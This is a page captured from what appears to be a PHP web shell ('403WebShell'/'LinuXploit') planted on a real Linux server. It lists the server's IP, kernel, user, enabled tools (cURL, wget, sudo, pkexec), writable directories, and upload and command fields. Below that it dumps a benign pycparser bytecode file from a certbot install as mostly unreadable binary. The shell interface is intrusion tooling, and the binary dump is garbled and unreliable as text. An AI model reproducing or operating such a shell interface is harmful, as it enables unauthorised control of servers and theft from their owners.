Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/certbot/current/lib64/python3.12/site-packages/pycparser/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/certbot/current/lib64/python3.12/site-packages/pycparser/__pycache__/__init__.cpython-312.pyc
�

��j
��Z�gd�ZdZddlZddlmZddlmZejZd	d�Z	d
d�Z	y))�c_lexer�c_parser�c_astz3.00�N)�check_output�)rc��|g}t|t�r||z
}n|dk7r||gz
}||gz
}	t|d��}|S#t$r}t	dd|��z��d}~wwxYw)aDPreprocess a file using cpp.

    filename:
        Name of the file you want to preprocess.

    cpp_path:
    cpp_args:
        Refer to the documentation of parse_file for the meaning of these
        arguments.

    When successful, returns the preprocessed file's contents.
    Errors from cpp will be printed out.
    �T)�universal_newlineszAUnable to invoke 'cpp'.  Make sure its path was passed correctly
zOriginal error: N)�
isinstance�listr�OSError�RuntimeError)�filename�cpp_path�cpp_args�	path_list�text�es      �N/root/parts/certbot/install/lib/python3.12/site-packages/pycparser/__init__.py�preprocess_filers����
�I��(�D�!��X��	�	�R���h�Z��	�
�(���I�	
��I�$�?���K���
��
:� ���$�
%�
�	
��
�s�
;�	A�A�Ac���|rt|||�}n0tj||��5}|j�}ddd�|�
t	�}|j|�S#1swY�'xYw)a�Parse a C file using pycparser.

    filename:
        Name of the file you want to parse.

    use_cpp:
        Set to True if you want to execute the C pre-processor
        on the file prior to parsing it.

    cpp_path:
        If use_cpp is True, this is the path to 'cpp' on your
        system. If no path is provided, it attempts to just
        execute 'cpp', so it must be in your PATH.

    cpp_args:
        If use_cpp is True, set this to the command line arguments strings
        to cpp. Be careful with quotes - it's best to pass a raw string
        (r'') here. For example:
        r'-I../utils/fake_libc_include'
        If several arguments are required, pass a list of strings.

    encoding:
        Encoding to use for the file to parse

    parser:
        Optional parser object to be used instead of the default CParser

    When successful, an AST is returned. ParseError can be
    thrown if the file doesn't parse successfully.

    Errors from cpp will be printed out.
    )�encodingN)r�io�open�read�CParser�parse)r�use_cpprr�parserrr�fs        r�
parse_filer!8se��F��x��8�<��
�W�W�X��
1�	�Q��6�6�8�D�	��~�����<�<��h�'�'�	�	�s�A�A()�cppr	)Fr"r	NN)
�__all__�__version__r�
subprocessrr	rrrr!��r�<module>r(s7��+����	�#��
�
�
�� �HQU�+(r'

Youez - 2016 - github.com/yon3zu
LinuXploit